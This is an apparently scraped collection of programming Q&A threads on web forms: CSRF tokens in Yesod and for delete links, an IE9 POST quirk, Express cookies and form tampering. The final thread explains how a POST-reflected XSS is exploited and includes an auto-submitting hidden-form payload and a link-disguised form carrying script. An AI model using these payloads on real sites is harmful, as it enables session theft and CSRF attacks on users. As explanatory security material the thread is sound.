I just turned on CSRF protection middleware in Yesod.
My jQuery AJAX calls are working, with the CSRF token being added into the header as per the normal scaffold.
Now I have a normal HTML "POST" form, not generated by Yesod. I want to include the CSRF protection token as a hidden input.
So far I have this in my ExampleHandler.hs
mcsrftoken <- fmap reqToken getRequest
let csrftoken = case mcsrftoken of
Nothing -> "NO_TOKEN"
Just t -> t
(Thanks to the Snoymaster at Yesod 1.2 CSRF protection)
And in example.hamlet:
<form method="post" action="#{ExampleR someId}">
<input name="_token" type="text" value=#{csrftoken}>
This one form works.
I have a lot of handlers, so I do not want to paste the code (or a function) in every one, to retrieve the token. I also do not want to convert all my HTML forms into AJAX.
I tried to paste the above token retrieving snippet into Foundation.hs, to get the token everywhere, but then I get:
Variable not in scope: csrftoken
On the line in the handler where the example.hamlet is pulled in.
How can I make get the csrftoken variable in scope in all handlers?
Is there a better way to get the CSRF token into the non-generated HTML forms?
Thank you haskellers and Yesod fans
Related
This question already has answers here:
What happens if the action field in a <form> has parameters?
(4 answers)
Closed 7 years ago.
I'm writing an application that, unfortunately, still has IE9 support. my requirement has another application posting data and redirecting (via a form POST) into my application, along with query parameters. I'm using Node and express to parse the query params and render a page. I'm running into an issue where, if there are query parameters on a post request, IE9 is actually making three requests, one POST with data, one GET with query params, and one GET without anything attached at all. This seems to effect only IE9, any suggestions on how to make it happen like all other browsers, in one request?
EDIT: now with code
<form action="/testPath/?path=placetoGo&group-id=281740360804&ref-id=2817403600034&itineraryTypeCode=RT&type=edd&num-adults=1" method="POST">
<input type="hidden" name="data" value='something'>
<input type="submit" value="Submit">
</form>
so that's the request to the node/express server.
on the server, IE9 comes in with three requests, first one is a POST with the object on the body. the second is a GET with the query params, and the third is a GET without the post data or query params.
Did You try to change the type attribute of the submit button from submit to button since you post with javascript
also change
<form action="/testPath/?path=placetoGo&group-id=281740360804&ref-id=2817403600034&itineraryTypeCode=RT&type=edd&num-adults=1" method="POST">
to
<form action="/testPath/placetoGo&281740360804&2817403600034&RT&edd&1" method="POST">
I think this is because of the asynchronous nature of Node.js in general.
I am changing a cookie's value, then rendering a new page. However upon rendering the new page, the page shows the just-overwritten contents of the cookie. It's as if the cookie is being saved a step late.
res.cookie('loginid',req.body.name,{maxAge:60000});
res.render('page1');
In page1, I have:
<% if(req.cookies.loginid){ %>
cookie remembered. Hi, <%= req.cookies.loginid %>! <% } %>
Example: Cookie currently has loginid="id1". I set it to id2, then render page1. Then I am sent to page1 and of course, it shows id1. If I repeat the procedure by replacing id2 with id3, page1's contents will show id2, and so on.
I tried doing a callback on the res.cookie(...) function, but nothing was called inside it. It looked like:
res.cookie('loginid',req.body.name,{maxAge:60000}, function(req,res){console.log('test');});
When your template (or any other code for that matter) accesses req.cookies, it will access the cookies that were sent by the client (so the values that were previously set, in a different request, using res.cookie()).
Those cookies are independent of cookies that you are setting using res.cookie(), so using that won't update any values in req.cookies within the same request (you're merely telling Express, when this request is done, please include a Set-Cookie header in the response with this value).
Since you're storing req.body.name as cookie value, you can just use that in rendering your template:
res.render('page1', { loginid : req.body.name });
And in your template:
<% if (loginid) { %>
cookie remembered. Hi, <%= loginid %>! <% } %>
(However, you cannot be sure at the time of rendering that the cookie that you are sending back will actually be accepted by the client, so technically saying cookie remembered is premature).
I have implemented CSRF protection on my website using a CSRF token in a hidden input field in my forms. However at some places in my website I don't use a form for certain actions, e.g. a user can click a link to delete something (e.g. /post/11/delete). Currently this is open to a CSRF attack, so I want to implement a prevention for these links. How can I do this? I can think of two possible ways:
Make all links (which for example delete something) into tiny forms with only one hidden field (the CSRF token) and one submit button (styled as a normal link).
Add the CSRF token to the query-string
I don't like either of those options:
Styling a submit button to act exactly as a link might have some issues getting it correct (cross platform)?
Although it will never be picked up by search engines and don't like some random string in my URL (just aesthetics).
So is there a way I'm overlooking or are those two my options?
Add a token to your links.
styling submit to look like link is not hard. Though there will be issues with middle click or 'copy link location' command. Obviously.
facebook / google are not afraid of putting 'random strings' in urls. Neither should you. (Adding nofollow to those links, and excluding them in robots.txt should solve your fears with SEO. That is in case you for some reason show REST links to guest users / search engines).
If you really don't want URL parameters with long random values, you could implement a confirmation page for each Delete action, and have a form with your hidden field there.
Requests received at /post/11/delete without valid token will make the server respond with the confirmation page.
Requests received at /post/11/delete with valid token will trigger the deletion.
Best practice is to not perform updates via a GET operation.
Here's a clever little script that will hook into all of your links and make them POST a single hidden variable in addition to the payload in the querystring. Hope this is helpful!
document.ready = function () {
var makeLinkPost = function(link) {
var handleClick = function(event) {
event.preventDefault();
$("<form action='" + this.href + "' method='POST'><input type='hidden' value='CSRF'/></form>'").appendTo("body").submit();
}
$(link).click(handleClick);
}
$("a").each(function() {
makeLinkPost(this);
})
}
I've read a couple of related questions on this, but they don't answer my question directly. Developer tools like Firebug allow anyone to see and manipulate form data before a form is sent. A good example of this is adjusting the value of a hidden "member ID" field so that the form submission is credited to another user.
What are the best ways to prevent this type of tampering? My research suggests moving sensitive form inputs to a server-side script, but are there any other options or considerations?
I'm familiar with PHP and jQuery, so my ideal solution would use one or both of those languages.
You can't use jQuery for security since it's all handled on the client side.
In your example just use a PHP session in staed of a hidden input field, because as you rightfully noted this can be manipulated.
Using sessions would look something like the following:
login page
<form action="login.php" method="post">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" name="submit" value="submit">
</form>
login.php
// you have to include this on every page to be able to user sessions.
// also make sure that you include it before any output
session_start();
//Always sanitize the user input before doing any db actions.
//For example by using: `mysql_real_escape_string()` ( http://php.net/manual/en/function.mysql-real-escape-string.php ).
// check user credentials against db
$_SESSION['user'] = $dbresult['username'];
page-where-userid-is-required.php
session_start();
if (!isset($_SESSION['user'])) {
// user is not logged in!
} else {
// use user info to place order for example
}
The session will be active until the user closes his browser / until the session expires (which is a PHP setting)
The above is just some sample code to give you an idea.
It works smaller projects, however as projects get more complex I would suggest going for the MVC (Model, View, Controller) way. ( http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller )
But that's just a whole other story :)
Here are a few basic suggestions:
You need to validate form inputs using a server-side (PHP) script.
Instead of relying on sensitive pieces of information, such as member ID, from the form you could instead cache such data in your server session. That way there is no way for a malicious user to change the data on the fly.
You can still use jQuery validation as a convenience to catch basic input problems, but you can only trust data that is validated using server-side code.
Examine this example. It is in PHP, but you should be able to pick up what is happening if you don't know PHP.
echo 'You searched for "' . $_GET['q'] . '"';
Now, obviously, this is a bad idea, if I request...
http://www.example.com/?q=<script type="text/javascript">alert('xss');</script>
OK, now I change that GET to a POST...
echo 'You searched for "' . $_POST['q'] . '"';
Now the query string in the URL won't work.
I know I can't use AJAX to post there, because of same domain policy. If I can run JavaScript on the domain, then it already has security problems.
One thing I thought of is coming across a site that is vulnerable to XSS, and adding a form which posts to the target site that submits on load (or, of course, redirecting people to your website which does this). This seems to get into CSRF territory.
So, what are the ways of exploiting the second example (using POST)?
Thanks
Here is an xss exploit for your vulnerable code. As you have aluded to, this is an identical attack pattern to POST based CSRF. In this case i am building the POST request as a form, and then I call .submit() on the form at the very bottom. In order to call submit, there must be a submit type in the form. The post request will immediately execute and the page will redirect, it is best to run post based csrf of exploits in an invisible iframe.
<html>
<form id=1 method="post" action="http://victim/vuln.php">
<input type=hidden name="q" value="<script>alert(/xss/)</script>">
<input type="submit">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>
I also recommended reading about the sammy worm and feel free to ask any questions about other exploits I have written.
All I would need to do to exploit this is to get a user to click a form that sends a tainted "q" post variable. If I were being all nasty-like, I wouldcraft a form button that looks like a link (or even a link that gets written into a form POST with Javascript, sort of like how Rails does its link_to_remote stuff pre-3.0).
Imagine something like this:
<form id="nastyform" method="post" action="http://yoururl.com/search.php">
<input type="submit" value="Click here for free kittens!">
<input type="hidden" name="q" value="<script>alert('My nasty cookie-stealing Javascript')</script>" />
</form>
<style>
#nastyform input {
border: 0;
background: #fff;
color: #00f;
padding: 0;
margin: 0;
cursor: pointer;
text-decoration: underline;
}
</style>
If I can get a user to click that (thinking that he's clicking some innocent link), then I can post arbitrary data to the search that then gets echoed into his page, and I can hijack his session or do whatever other nasty things I want.
Post data isn't inherently more secure than get data; it's still user input and absolutely cannot be trusted.
CSRF attacks are a different class of attack, where some legitimate action is initiated without the permission of the user; this has the same sort of entry vector, but it's a classic XSS attack, designed to result in the injection of malicious Javascript into the page for the purpose of gaining session access or something similarly damaging.